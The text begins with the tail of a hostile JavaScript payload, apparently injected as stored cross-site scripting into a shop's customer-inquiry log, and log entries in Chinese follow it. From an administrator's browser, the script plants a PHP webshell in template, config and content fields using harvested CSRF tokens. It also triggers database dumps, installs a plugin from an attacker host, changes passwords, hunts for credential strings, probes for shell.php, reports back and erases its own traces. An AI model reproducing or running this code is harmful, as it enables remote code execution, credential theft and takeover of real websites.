}

// VECTOR 2: Template/code editor → PHP injection (CRITICAL priority)
if(accessible.template||accessible.config||accessible.editor){
var codeEps=(accessible.template||[]).concat(accessible.config||[]).concat(accessible.editor||[]);
codeEps.forEach(function(ep){
var detail=formDetails['template:'+ep]||formDetails['config:'+ep]||formDetails['editor:'+ep]||{};
var codeFields=detail.textareas||['content','code','html','template_content','source','data','body','text'];
var formAction=detail.formAction||(A+'/index.php?html='+ep);
if(!formAction.startsWith('http'))formAction=A+'/'+formAction.replace(/^//,'');
// Try each code field with webshell
codeFields.slice(0,5).forEach(function(field){
var postData=field+'='+W;
// Add CSRF token
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)postData+='&csrf_token='+encodeURIComponent(tok);
if(detail.inputs){
detail.inputs.forEach(function(inp){
if(inp&&inp!==field&&['id','name','title'].indexOf(inp)>=0)postData+='&'+inp+'=test';
});
}
postData+='&save=1&submit=1&do=save';
M(formAction,postData,function(t,s){
B('code_inject',{ep:ep,field:field,status:s,len:t?t.length:0,resp:t?t.substring(0,150):''});
});
});
});
B('code_inject_sent',{codeEps:codeEps.length});
}

// VECTOR 3: Config/settings with code fields → PHP injection (HIGH priority)
if(accessible.config||accessible.system||accessible.setting){
var configEps=(accessible.config||[]).concat(accessible.system||[]).concat(accessible.setting||[]);
// These may have text fields that get stored in PHP-accessible locations
configEps.forEach(function(ep){
// Try common config field names that might store executable code
var configFields=['footer_code','header_code','custom_php','custom_js','custom_css',
'analytics_code','tracking_code','mail_template','mail_footer',
'site_description','meta_description','copyright_text',
'welcome_message','greeting','announcement','notice','disclaimer',
'custom_code','extra_code','html_head','html_footer'];
configFields.forEach(function(field){
var data=field+'='+W+'&save=1&submit=1&do=save&update=1';
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)data+='&csrf_token='+encodeURIComponent(tok);
M(A+'/index.php?html='+ep,data,function(t,s){
if(s===200)B('cfg_inject',{ep:ep,field:field,status:s,len:t?t.length:0});
});
});
});
B('config_inject_sent',{configEps:configEps.length});
}

// VECTOR 4: Database operations → info disclosure or credential extraction (HIGH priority)
if(accessible.database||accessible.backup||accessible.system){
var dbEps=(accessible.database||[]).concat(accessible.backup||[]).concat(accessible.system||[]);
dbEps.forEach(function(ep){
// Try to trigger database export/download
var exportParams=['do=export','action=export','do=backup','action=backup','do=download','action=download',
'export=1','backup=1','download=1','dump=1','sql=1'];
exportParams.forEach(function(params){
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
var url=A+'/index.php?html='+ep+'&'+params;
if(tok)url+='&csrf_token='+encodeURIComponent(tok);
X(url,function(t,s,req){
// Check if download triggered (content-disposition header or binary content)
var cd=req?req.getResponseHeader('Content-Disposition'):null;
if(s===200)
B('db_export',{ep:ep,params:params,status:s,len:t?t.length:0,contentDisposition:cd||'none',isSql:(t||'').indexOf('CREATE TABLE')>-1||(t||'').indexOf('INSERT INTO')>-1});
},{t:15000});
});
});
B('db_probes_sent',{dbEps:dbEps.length});
}

// VECTOR 5: Content/Page editor → PHP injection if templates render PHP (MEDIUM priority)
if(accessible.content||accessible.news||accessible.announce||accessible.banner){
var contentEps=(accessible.content||[]).concat(accessible.news||[]).concat(accessible.announce||[]).concat(accessible.banner||[]);
contentEps.forEach(function(ep){
var detail=formDetails['content:'+ep]||formDetails['news:'+ep]||{};
var contentFields=detail.textareas||['content','html','body','text','description'];
contentFields.slice(0,3).forEach(function(field){
// Try inject PHP via content field
var data=field+'='+W+'&save=1&submit=1&do=save&publish=1';
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)data+='&csrf_token='+encodeURIComponent(tok);
if(detail.inputs){
detail.inputs.forEach(function(inp){
if(inp&&inp!==field)data+='&'+inp+'=test';
});
}
M(A+'/index.php?html='+ep,data,function(t,s){
if(s===200)B('content_inject',{ep:ep,field:field,status:s,len:t?t.length:0});
});
});
});
B('content_inject_sent',{contentEps:contentEps.length});
}

// VECTOR 6: Module/Plugin install → RCE (MEDIUM priority if accessible)
if(accessible.module){
var modEps=accessible.module||[];
modEps.forEach(function(ep){
// Try to install a module/plugin from URL or upload
var installData='url='+encodeURIComponent(C+'/payload.php')+'&install=1&submit=1&agree=1&action=install&do=install_url';
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)installData+='&csrf_token='+encodeURIComponent(tok);
M(A+'/index.php?html='+ep,installData,function(t,s){
B('plugin_install',{ep:ep,status:s,len:t?t.length:0,resp:t?t.substring(0,150):''});
});
});
B('module_probes_sent',{modEps:modEps.length});
}

// VECTOR 7: User/member management → create admin or modify permissions (MEDIUM priority)
if(accessible.member||accessible.user||accessible.profile){
var userEps=(accessible.member||[]).concat(accessible.user||[]).concat(accessible.profile||[]);
userEps.forEach(function(ep){
// Try to change own password or create user
var userData='old_password=test&new_password=P@ssw0rd123&confirm_password=P@ssw0rd123&change_pwd=1&save=1';
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)userData+='&csrf_token='+encodeURIComponent(tok);
M(A+'/index.php?html='+ep,userData,function(t,s){
B('user_action',{ep:ep,status:s,len:t?t.length:0,resp:t?t.substring(0,150):''});
});
});
B('user_probes_sent',{userEps:userEps.length});
}

// VECTOR 8: Action data / custom forms → data injection (LOW priority, opportunistic)
if(accessible.action){
var actionEps=accessible.action||[];
actionEps.forEach(function(ep){
// Try to modify action/form data to inject code
var actionData='content='+W+'&name=test&save=1&submit=1&do=save';
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)actionData+='&csrf_token='+encodeURIComponent(tok);
M(A+'/index.php?html='+ep,actionData,function(t,s){
B('action_inject',{ep:ep,status:s,len:t?t.length:0});
});
});
}

// VECTOR 9: phpinfo / system info → credentials disclosure
if(accessible.system){
var sysEps=accessible.system||[];
sysEps.forEach(function(ep){
X(A+'/index.php?html='+ep,function(t,s){
if(s===200&&t){
// Check for credential-like patterns
var hasPass=t.indexOf('DB_PASSWORD')>-1||t.indexOf('MYSQL_PASSWORD')>-1||t.indexOf('password')>-1;
var hasPath=t.indexOf('DOCUMENT_ROOT')>-1||t.indexOf('HOME=')>-1||t.indexOf('PATH=')>-1;
if(hasPass||hasPath)B('info_leak',{ep:ep,hasPass:hasPass,hasPath:hasPath,len:t.length});
}
},{t:15000});
});
}

// VECTOR 10: Webshell verification — check known paths
setTimeout(function(){
var shellPaths=[
'/shell.php','/shell.phtml','/shell.pht',
'/upload/shell.php','/uploads/shell.php',
'/files/shell.php','/images/shell.php',
'/action_files/shell.php','/action_files/shell.phtml',
'/ckfinder/userfiles/shell.php',
A.replace(//webadmin$|/shopadmin$/,'')+'/shell.php',
A.replace(//webadmin$|/shopadmin$/,'')+'/upload/shell.php',
];
shellPaths.forEach(function(p){
X(p,function(t,s){
if(s===200&&t&&t.indexOf(' B('SHELL_FOUND',{path:p,status:s,len:t.length,preview:t.substring(0,100)});
}
});
});
B('verify_complete',{shellsChecked:shellPaths.length});
},5000);

B('p2_complete',{vectors:['upload','code','config','db','content','module','user','action','info','verify'],timestamp:Date.now()});

})();

// Cleanup: remove self
setTimeout(function(){var imgs=document.querySelectorAll('img[src*="x"]');imgs.forEach(function(i){try{i.remove()}catch(e){}})},60000);
})();
">
2026/07/30 17:56:58 商品諮詢
verify:CAPTCHA_VERIFY_OK_047
2026/07/30 17:54:58 商品諮詢
客戶412:
2026/07/30 17:54:54 商品諮詢
客戶260:
2026/07/30 17:54:47 商品諮詢 ECS000104
~~翔準~~ (超級戰艦)最新款式淺艇海洋迷彩海軍服戰鬥服 野戰服.【衣服+褲子】
客戶595: